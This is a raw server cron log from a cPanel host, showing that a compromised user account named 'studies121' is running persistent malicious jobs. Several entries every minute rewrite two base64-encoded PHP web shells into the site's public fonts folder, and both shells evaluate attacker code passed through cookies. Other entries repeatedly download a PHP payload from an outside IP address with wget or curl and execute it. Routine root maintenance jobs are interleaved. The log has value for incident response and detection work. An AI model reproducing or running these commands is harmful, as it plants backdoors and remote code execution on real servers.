Sep  1 01:34:01 ip-184-168-122-23 CROND[26942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:35:01 ip-184-168-122-23 CROND[27052]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 01:35:01 ip-184-168-122-23 CROND[27056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:35:01 ip-184-168-122-23 CROND[27057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:35:01 ip-184-168-122-23 CROND[27060]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 01:35:01 ip-184-168-122-23 CROND[27058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:35:01 ip-184-168-122-23 CROND[27059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:35:01 ip-184-168-122-23 CROND[27063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:35:01 ip-184-168-122-23 CROND[27064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:36:01 ip-184-168-122-23 CROND[27170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:36:01 ip-184-168-122-23 CROND[27171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:36:01 ip-184-168-122-23 CROND[27177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:36:01 ip-184-168-122-23 CROND[27175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:36:01 ip-184-168-122-23 CROND[27174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:37:01 ip-184-168-122-23 CROND[27296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:37:01 ip-184-168-122-23 CROND[27297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:37:01 ip-184-168-122-23 CROND[27299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:37:01 ip-184-168-122-23 CROND[27300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:38:01 ip-184-168-122-23 CROND[27390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:38:02 ip-184-168-122-23 CROND[27395]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:38:02 ip-184-168-122-23 CROND[27392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:38:02 ip-184-168-122-23 CROND[27393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:38:02 ip-184-168-122-23 CROND[27394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:39:01 ip-184-168-122-23 CROND[27597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:39:01 ip-184-168-122-23 CROND[27599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:39:01 ip-184-168-122-23 CROND[27600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:39:01 ip-184-168-122-23 CROND[27601]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 01:39:01 ip-184-168-122-23 CROND[27602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:40:01 ip-184-168-122-23 CROND[27696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:40:01 ip-184-168-122-23 CROND[27698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:40:01 ip-184-168-122-23 CROND[27700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:40:01 ip-184-168-122-23 CROND[27701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:40:01 ip-184-168-122-23 CROND[27704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:40:01 ip-184-168-122-23 CROND[27705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:40:01 ip-184-168-122-23 CROND[27702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:40:01 ip-184-168-122-23 CROND[27709]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:41:01 ip-184-168-122-23 CROND[27811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:41:01 ip-184-168-122-23 CROND[27812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:41:01 ip-184-168-122-23 CROND[27814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:41:01 ip-184-168-122-23 CROND[27813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:42:01 ip-184-168-122-23 CROND[27909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:42:01 ip-184-168-122-23 CROND[27911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:42:01 ip-184-168-122-23 CROND[27914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:42:01 ip-184-168-122-23 CROND[27912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:42:01 ip-184-168-122-23 CROND[27913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:43:01 ip-184-168-122-23 CROND[27994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:43:01 ip-184-168-122-23 CROND[27995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:43:01 ip-184-168-122-23 CROND[27996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:43:01 ip-184-168-122-23 CROND[27997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:44:01 ip-184-168-122-23 CROND[28170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:44:01 ip-184-168-122-23 CROND[28173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:44:01 ip-184-168-122-23 CROND[28171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:44:01 ip-184-168-122-23 CROND[28174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:44:01 ip-184-168-122-23 CROND[28172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:45:01 ip-184-168-122-23 CROND[28267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:45:01 ip-184-168-122-23 CROND[28272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:45:01 ip-184-168-122-23 CROND[28271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:45:01 ip-184-168-122-23 CROND[28275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:45:01 ip-184-168-122-23 CROND[28273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:45:01 ip-184-168-122-23 CROND[28274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:46:01 ip-184-168-122-23 CROND[28368]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:46:01 ip-184-168-122-23 CROND[28369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:46:01 ip-184-168-122-23 CROND[28370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:46:01 ip-184-168-122-23 CROND[28376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:46:01 ip-184-168-122-23 CROND[28374]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
